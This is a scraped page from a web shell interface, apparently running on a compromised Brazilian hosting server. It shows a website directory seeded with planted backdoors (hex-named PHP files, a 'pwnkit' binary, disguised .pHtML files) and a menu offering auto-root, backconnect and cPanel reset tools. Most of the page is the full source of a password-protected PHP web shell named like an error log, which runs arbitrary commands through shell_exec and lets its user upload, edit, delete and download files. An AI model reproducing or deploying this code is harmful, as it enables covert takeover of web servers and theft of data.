Linux vps-4302913.novaexata.com.br 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
Apache
: 162.214.88.42 | : 216.73.216.99
166 Domain
7.3.33
wwnova
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
wwnova /
public_html /
tudosorte.com.br /
[ HOME SHELL ]
Name
Size
Permission
Action
.well-known
[ DIR ]
drwxr-xr-x
cgi-bin
[ DIR ]
drwxr-xr-x
uploads
[ DIR ]
drwxr-xr-x
.buy.php
579
B
-rw-r--r--
.documentroot.php
280
B
-rw-r--r--
.goods.php
577
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
.wp-esp.php
577
B
-rw-r--r--
0x194945BXRH.php
4.12
KB
-rw-r--r--
0x19495GZCOU.php
4.12
KB
-rw-r--r--
0x1949BIJKKG.php
4.12
KB
-rw-r--r--
0x1949LKGFCR.php
4.12
KB
-rw-r--r--
0x1949Q4FPN1.php
4.12
KB
-rw-r--r--
0x1949RNWM66.php
4.12
KB
-rw-r--r--
Private-MASS-ova.php
19.06
KB
-rw-r--r--
admin.php
209
B
-rw-r--r--
bero.pHtML
44.85
KB
-rw-r--r--
berofc.php
44.85
KB
-rw-r--r--
bw.php
9.51
KB
-rw-r--r--
dataat.pHtML
16
KB
-rw-r--r--
default.xml
402
B
-rw-r--r--
documentroot.php
280
B
-rw-r--r--
error_log
27.57
KB
-rw-r--r--
error_log.pHtML
28.62
KB
-rw-r--r--
error_log.php
28.62
KB
-rw-r--r--
finalkitaya.PHP
6.86
KB
-rw-r--r--
googlef7118cfda07b48b4.html
53
B
-rw-r--r--
index.php
381.47
KB
-rw-r--r--
logssss.pHtML
3.12
KB
-rw-r--r--
modric8BTCHM.php
70.77
KB
-rw-r--r--
modricDHXFVX.php
2.14
KB
-rw-r--r--
modricPNBH8L.php
70.77
KB
-rw-r--r--
modricZW9ITU.php
2.14
KB
-rw-r--r--
perantaraupload.php
6.02
KB
-rw-r--r--
php.ini
40
B
-rw-r--r--
postnews.php
5.72
KB
-r--r--r--
pwnkit
10.99
KB
-rwxr-xr-x
tes110000.pHtML
5.63
KB
-rw-r--r--
uploa.pHtML
6.02
KB
-rw-r--r--
wp-est.php
575
B
-rw-r--r--
wp-ompira.php
577
B
-rw-r--r--
x7.php
278
B
-rw-r--r--
没啥.php
13.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : error_log.pHtML
<?php session_start(); set_time_limit(0); error_reporting(E_ALL); ini_set('display_errors', 1); $kataSandiBenar = 'K@maD0T1m'; if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) { if ($_POST['password'] === $kataSandiBenar) { $_SESSION['authenticated'] = true; header('Location: ' . $_SERVER['PHP_SELF']); exit; } else { $error = 'Kata sandi salah. Coba lagi!'; } } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Masuk</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha3/dist/css/bootstrap.min.css" rel="stylesheet"> </head> <body class="d-flex justify-content-center align-items-center vh-100" style="background-color: rgb(0, 0, 0); color: #fff !important;"> <div class="container text-center"> <h1>Masuk</h1> <?php if (isset($error)) { echo "<div class='alert alert-danger'>$error</div>"; } ?> <form method="POST"> <div class="mb-3"> <input type="password" name="password" class="form-control" placeholder="Kata Sandi" required> </div> <button type="submit" class="btn btn-primary">Masuk</button> </form> </div> </body> </html> <?php exit; } $baseDir = realpath(getcwd()); $path = isset($_GET['path']) ? realpath($_GET['path']) : $baseDir; if ($path === false || !is_dir($path)) { $path = $baseDir; } if ($path === false || !is_dir($path)) { echo "<tr><td colspan='4'>Direktori tidak valid atau tidak ditemukan.</td></tr>"; $folders = []; $files = []; } else { $folders = []; $files = []; $scandir = scandir($path); foreach ($scandir as $item) { $fullpath = "$path/$item"; if (is_dir($fullpath) && $item != '.' && $item != '..') { $folders[] = $item; } elseif (is_file($fullpath)) { $files[] = $item; } } } function downloadFile($file) { if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } else { echo "<script>alert('File tidak ditemukan!');</script>"; } } function getPermissions($file) { $perms = fileperms($file); switch ($perms & 0xF000) { case 0xC000: $info = 's'; break; case 0xA000: $info = 'l'; break; case 0x8000: $info = '-'; break; case 0x6000: $info = 'b'; break; case 0x4000: $info = 'd'; break; case 0x2000: $info = 'c'; break; case 0x1000: $info = 'p'; break; default: $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } if (isset($_GET['download'])) { downloadFile($_GET['download']); } $cmdResult = null; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) { $cmd = $_POST['cmd']; if (is_dir($path)) { chdir($path); } if (is_callable('shell_exec') && !in_array('shell_exec', explode(',', ini_get('disable_functions')))) { $cmdResult = shell_exec($cmd . ' 2>&1'); if (empty($cmdResult)) { $cmdResult = "No Output"; } } else { $cmdResult = "Not Shell: shell_exec() is disabled on this server."; } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') { if (isset($_FILES['file'])) { $fileName = basename($_FILES['file']['name']); if (preg_match('/^[a-zA-Z0-9_\-\.]+$/', $fileName)) { $targetPath = $path . '/' . $fileName; if (move_uploaded_file($_FILES['file']['tmp_name'], $targetPath)) { echo "<div class='alert alert-success mt-2' style='max-width: 300px;'>File berhasil diupload!</div>"; } else { echo "<div class='alert alert-danger mt-2' style='max-width: 300px;'>Gagal mengupload file!</div>"; } } else { echo "<div class='alert alert-danger mt-2' style='max-width: 300px;'>Nama file tidak valid!</div>"; } } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'create_file') { if (isset($_POST['name']) && preg_match('/^[a-zA-Z0-9_\-\.]+$/', $_POST['name'])) { $filePath = $path . '/' . $_POST['name']; if (file_put_contents($filePath, "") !== false) { echo "<div class='alert alert-success mt-2' style='max-width: 300px;'>File berhasil dibuat!</div>"; } else { echo "<div class='alert alert-danger mt-2' style='max-width: 300px;'>Gagal membuat file!</div>"; } } else { echo "<div class='alert alert-danger mt-2' style='max-width: 300px;'>Nama file tidak valid!</div>"; } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'create_folder') { if (isset($_POST['name']) && preg_match('/^[a-zA-Z0-9_\-]+$/', $_POST['name'])) { $folderPath = $path . '/' . $_POST['name']; if (mkdir($folderPath)) { echo "<div class='alert alert-success mt-2' style='max-width: 300px;'>Folder berhasil dibuat!</div>"; } else { echo "<div class='alert alert-danger mt-2' style='max-width: 300px;'>Gagal membuat folder!</div>"; } } else { echo "<div class='alert alert-danger mt-2' style='max-width: 300px;'>Nama folder tidak valid!</div>"; } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'], $_POST['target'])) { $action = $_POST['action']; $targetPath = $_POST['target']; switch ($action) { case 'delete': if (is_file($targetPath)) { if (unlink($targetPath)) { echo json_encode(['status' => 'success', 'message' => 'File berhasil dihapus!']); } else { echo json_encode(['status' => 'error', 'message' => 'Gagal menghapus file!']); } } elseif (is_dir($targetPath)) { if (rmdir($targetPath)) { echo json_encode(['status' => 'success', 'message' => 'Folder berhasil dihapus!']); } else { echo json_encode(['status' => 'error', 'message' => 'Gagal menghapus folder!']); } } else { echo json_encode(['status' => 'error', 'message' => 'Target tidak valid!']); } exit; case 'edit': if (isset($_POST['content'])) { $handle = fopen($targetPath, 'w'); if ($handle) { fwrite($handle, $_POST['content']); fclose($handle); echo json_encode(['status' => 'success', 'message' => 'File berhasil diedit!']); } else { echo json_encode(['status' => 'error', 'message' => 'Tidak dapat membuka file untuk menulis!']); } } else { if (file_exists($targetPath)) { $content = file_get_contents($targetPath); echo json_encode(['status' => 'success', 'content' => $content]); } else { echo json_encode(['status' => 'error', 'message' => 'File tidak ditemukan!']); } } exit; case 'rename': if (isset($_POST['new_name'])) { $newPath = dirname($targetPath) . '/' . $_POST['new_name']; if (rename($targetPath, $newPath)) { echo json_encode(['status' => 'success', 'message' => 'Berhasil mengganti nama!']); } else { echo json_encode(['status' => 'error', 'message' => 'Gagal mengganti nama!']); } } else { echo json_encode(['status' => 'error', 'message' => 'Nama baru tidak diberikan!']); } exit; } } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Repository Zhyper</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha3/dist/css/bootstrap.min.css" rel="stylesheet"> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha3/dist/js/bootstrap.bundle.min.js"></script> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <style> body { background-color: rgb(0, 0, 0); color: #fff !important; font-family: Arial, sans-serif; } .table { margin: 20px auto; width: 90%; color: #fff !important; } .table-striped tbody tr:nth-of-type(odd), .table-striped tbody tr:nth-of-type(even) { background-color: transparent !important; } .table-striped tbody tr td { color: #fff !important; } .table-dark { background-color: #343a40 !important; color: #fff !important; } .breadcrumb { margin-bottom: 20px; color: #fff !important; } .btn { margin: 0 5px; color: #fff !important; } .btn-primary { background-color: #007bff !important; border-color: #007bff !important; } .btn-danger { background-color: #dc3545 !important; border-color: #dc3545 !important; } .btn-warning { background-color: #ffc107 !important; border-color: #ffc107 !important; color: #000 !important; } .modal textarea { width: 100%; height: 300px; color: #000 !important; background-color: #fff !important; } .shell { border-radius: 4px; border: 1px solid rgba(255, 255, 255, 0.4); font-size: 12px; display: flex; flex-direction: column; align-items: stretch; background: #242424; color: rgb(145, 255, 0); padding: 10px; border-radius: 5px; overflow: auto; white-space: pre-wrap; } .input-group-text { background-color: #000; color: rgb(145, 255, 0); font-size: 12px; padding: 5px 10px; } .btn-dark { background-color: #000; color: #fff; } .btn-dark:hover { background-color: #333; } </style> </head> <body> <div class="container"> <h1 class="text-center my-4">Repository Zhyper</h1> <div class="d-flex justify-content-between align-items-center mb-3"> <div> <?php echo "<p>Current Directory: "; $paths = explode('/', trim($path, '/')); $currentPath = ''; foreach ($paths as $index => $folder) { $currentPath .= '/' . $folder; echo "<a href='?path=" . htmlspecialchars($currentPath, ENT_QUOTES, 'UTF-8') . "'>$folder</a>"; if ($index < count($paths) - 1) { echo " / "; } } echo " <a href='?path=" . htmlspecialchars($baseDir, ENT_QUOTES, 'UTF-8') . "' class='btn btn-sm btn-primary'>[Home]</a>"; echo "</p>"; ?> <div class="container mt-4"> <form method="POST"> <div class="input-group mb-3"> <span class="input-group-text"> <?php $user = get_current_user(); $host = gethostname(); echo htmlspecialchars("$user@$host:~$"); ?> </span> <input class="form-control" type="text" name="cmd" placeholder="Masukkan perintah CMD" style="color: rgb(145, 255, 0); background-color: #000;" required> <button class="btn btn-dark" type="submit"><i class="bi bi-arrow-return-right"></i> Jalankan</button> </div> </form> <?php if ($cmdResult !== null) { ?> <div class="shell"> <pre><?php echo htmlspecialchars($cmdResult, ENT_QUOTES, 'UTF-8'); ?></pre> </div> <?php } ?> </div> </div> <div> <!-- Tombol untuk fitur tambahan --> <form method="POST" class="d-inline"> <button type="submit" name="show_upload" class="btn btn-success btn-sm">Upload File</button> </form> <form method="POST" class="d-inline"> <button type="submit" name="show_create_file" class="btn btn-primary btn-sm">Buat File</button> </form> <form method="POST" class="d-inline"> <button type="submit" name="show_create_folder" class="btn btn-warning btn-sm">Buat Folder</button> </form> </div> </div> <?php // Tampilkan form upload file if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['show_upload'])) { ?> <form method="POST" enctype="multipart/form-data" class="mb-3"> <input type="hidden" name="action" value="upload"> <div class="mb-3"> <label for="file" class="form-label">Pilih File</label> <input type="file" name="file" id="file" class="form-control form-control-sm" required> </div> <button type="submit" class="btn btn-success btn-sm">Upload</button> </form> <?php } // Tampilkan form buat file if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['show_create_file'])) { ?> <form method="POST" class="mb-3"> <input type="hidden" name="action" value="create_file"> <div class="mb-3"> <label for="fileName" class="form-label">Nama File</label> <input type="text" name="name" id="fileName" class="form-control form-control-sm" placeholder="Masukkan nama file (contoh: file.txt)" required> </div> <button type="submit" class="btn btn-primary btn-sm">Buat</button> </form> <?php } // Tampilkan form buat folder if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['show_create_folder'])) { ?> <form method="POST" class="mb-3"> <input type="hidden" name="action" value="create_folder"> <div class="mb-3"> <label for="folderName" class="form-label">Nama Folder</label> <input type="text" name="name" id="folderName" class="form-control form-control-sm" placeholder="Masukkan nama folder" required> </div> <button type="submit" class="btn btn-warning btn-sm">Buat</button> </form> <?php } ?> <table class="table table-striped"> <thead class="table-dark"> <tr> <th>Nama</th> <th>Ukuran</th> <th>Izin</th> <th>Aksi</th> </tr> </thead> <tbody> <?php $parentPath = dirname($path); if ($parentPath && realpath($parentPath) !== realpath($path)) { echo "<tr> <td><a href='?path=" . htmlspecialchars($parentPath, ENT_QUOTES, 'UTF-8') . "'>Kembali ke " . basename($parentPath) . "</a></td> <td>--</td> <td>--</td> <td>--</td> </tr>"; } $folders = []; $files = []; $scandir = scandir($path); foreach ($scandir as $item) { $fullpath = "$path/$item"; if (is_dir($fullpath) && $item != '.' && $item != '..') { $folders[] = $item; } elseif (is_file($fullpath)) { $files[] = $item; } } foreach ($folders as $folder) { $fullpath = rtrim($path, '/') . '/' . $folder; echo "<tr> <td><a href='?path=" . htmlspecialchars($fullpath, ENT_QUOTES, 'UTF-8') . "'>$folder</a></td> <td>--</td> <td>" . getPermissions($fullpath) . "</td> <td> <button class='btn btn-warning btn-sm rename-btn' data-path='" . htmlspecialchars($fullpath, ENT_QUOTES, 'UTF-8') . "'>Rename</button> <button class='btn btn-danger btn-sm delete-btn' data-path='" . htmlspecialchars($fullpath, ENT_QUOTES, 'UTF-8') . "'>Hapus</button> </td> </tr>"; } foreach ($files as $file) { $fullpath = "$path/$file"; $size = round(filesize($fullpath) / 1024, 2) . ' KB'; echo "<tr> <td>$file</td> <td>$size</td> <td>" . getPermissions($fullpath) . "</td> <td> <button class='btn btn-primary btn-sm edit-btn' data-path='" . htmlspecialchars($fullpath, ENT_QUOTES, 'UTF-8') . "'>Edit</button> <button class='btn btn-warning btn-sm rename-btn' data-path='" . htmlspecialchars($fullpath, ENT_QUOTES, 'UTF-8') . "'>Rename</button> <button class='btn btn-danger btn-sm delete-btn' data-path='" . htmlspecialchars($fullpath, ENT_QUOTES, 'UTF-8') . "'>Hapus</button> <a href='?download=" . htmlspecialchars($fullpath, ENT_QUOTES, 'UTF-8') . "' class='btn btn-success btn-sm'>Unduh</a> </td> </tr>"; } ?> </tbody> </table> </div> <div class="modal fade" id="uploadModal" tabindex="-1" aria-labelledby="uploadModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="uploadModalLabel">Upload File</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <form method="POST" enctype="multipart/form-data" class="mb-3"> <input type="hidden" name="action" value="upload"> <div class="mb-3"> <label for="file" class="form-label">Pilih File</label> <input type="file" name="file" id="file" class="form-control" required> </div> <button type="submit" class="btn btn-success">Upload File</button> </form> </div> </div> </div> <div class="modal fade" id="createFileModal" tabindex="-1" aria-labelledby="createFileModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="createFileModalLabel">Buat File Baru</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <form method="POST" class="mb-3"> <input type="hidden" name="action" value="create_file"> <div class="mb-3"> <label for="fileName" class="form-label">Nama File</label> <input type="text" name="name" id="fileName" class="form-control" placeholder="Masukkan nama file (contoh: file.txt)" required> </div> <button type="submit" class="btn btn-primary">Buat File</button> </form> </div> </div> </div> <div class="modal fade" id="createFolderModal" tabindex="-1" aria-labelledby="createFolderModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="createFolderModalLabel">Buat Folder Baru</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <form method="POST" class="mb-3"> <input type="hidden" name="action" value="create_folder"> <div class="mb-3"> <label for="folderName" class="form-label">Nama Folder</label> <input type="text" name="name" id="folderName" class="form-control" placeholder="Masukkan nama folder" required> </div> <button type="submit" class="btn btn-warning">Buat Folder</button> </form> </div> </div> </div> <div class="modal fade" id="editModal" tabindex="-1" aria-labelledby="editModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="editModalLabel">Edit File</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <textarea id="fileContent" class="form-control" rows="10"></textarea> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Tutup</button> <button type="button" class="btn btn-primary save-changes-btn">Simpan Perubahan</button> </div> </div> </div> </div> <div class="modal fade" id="renameModal" tabindex="-1" aria-labelledby="renameModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="renameModalLabel">Ganti Nama</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <input type="text" id="newName" class="form-control" placeholder="Masukkan nama baru"> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Tutup</button> <button type="button" class="btn btn-primary save-rename-btn">Simpan</button> </div> </div> </div> </div> <script> $("#uploadForm").submit(function (e) { e.preventDefault(); const formData = new FormData(this); formData.append("action", "upload"); $.ajax({ url: "", type: "POST", data: formData, processData: false, contentType: false, success: function (response) { console.log(response); // Tambahkan log ini const res = JSON.parse(response); if (res.status === "success") { alert(res.message); $("#uploadModal").modal("hide"); location.reload(); } else { alert(res.message); } }, }); }); $(".save-file-btn").click(function () { const fileName = $("#newFileName").val(); if (fileName.trim() === "") { alert("Nama file tidak boleh kosong!"); return; } $.post("", { action: "create_file", name: fileName, path: "<?php echo $path; ?>" }, function (response) { console.log(response); // Tambahkan log ini const res = JSON.parse(response); if (res.status === "success") { alert(res.message); $("#createFileModal").modal("hide"); location.reload(); } else { alert(res.message); } }); }); $(".save-folder-btn").click(function () { const folderName = $("#newFolderName").val(); if (folderName.trim() === "") { alert("Nama folder tidak boleh kosong!"); return; } $.post("", { action: "create_folder", name: folderName, path: "<?php echo $path; ?>" }, function (response) { console.log(response); // Tambahkan log ini const res = JSON.parse(response); if (res.status === "success") { alert(res.message); $("#createFolderModal").modal("hide"); location.reload(); } else { alert(res.message); } }); }); $(document).on("click", ".delete-btn", function () { const path = $(this).data("path"); if (confirm("Apakah Anda yakin ingin menghapus ini?")) { $.post("", { action: "delete", target: path }, function (response) { const res = JSON.parse(response); if (res.status === "success") { alert(res.message); location.reload(); } else { alert(res.message); } }); } }); $(document).on("click", ".edit-btn", function () { const path = $(this).data("path"); $.post("", { action: "edit", target: path }, function (response) { const res = JSON.parse(response); if (res.status === "success") { $("#fileContent").val(res.content); $(".save-changes-btn").data("path", path); $("#editModal").modal("show"); } else { alert(res.message); } }); }); $(".save-changes-btn").click(function () { const path = $(this).data("path"); const content = $("#fileContent").val(); $.post("", { action: "edit", target: path, content: content }, function (response) { const res = JSON.parse(response); if (res.status === "success") { alert(res.message); $("#editModal").modal("hide"); location.reload(); } else { alert(res.message); } }); }); $(document).on("click", ".rename-btn", function () { const path = $(this).data("path"); $("#renameModal").modal("show"); $(".save-rename-btn").data("path", path); }); $(".save-rename-btn").click(function () { const path = $(this).data("path"); const newName = $("#newName").val(); if (newName.trim() === "") { alert("Nama baru tidak boleh kosong!"); return; } $.post("", { action: "rename", target: path, new_name: newName }, function (response) { const res = JSON.parse(response); if (res.status === "success") { alert(res.message); $("#renameModal").modal("hide"); location.reload(); } else { alert(res.message); } }); }); </script> </body> </html>
Close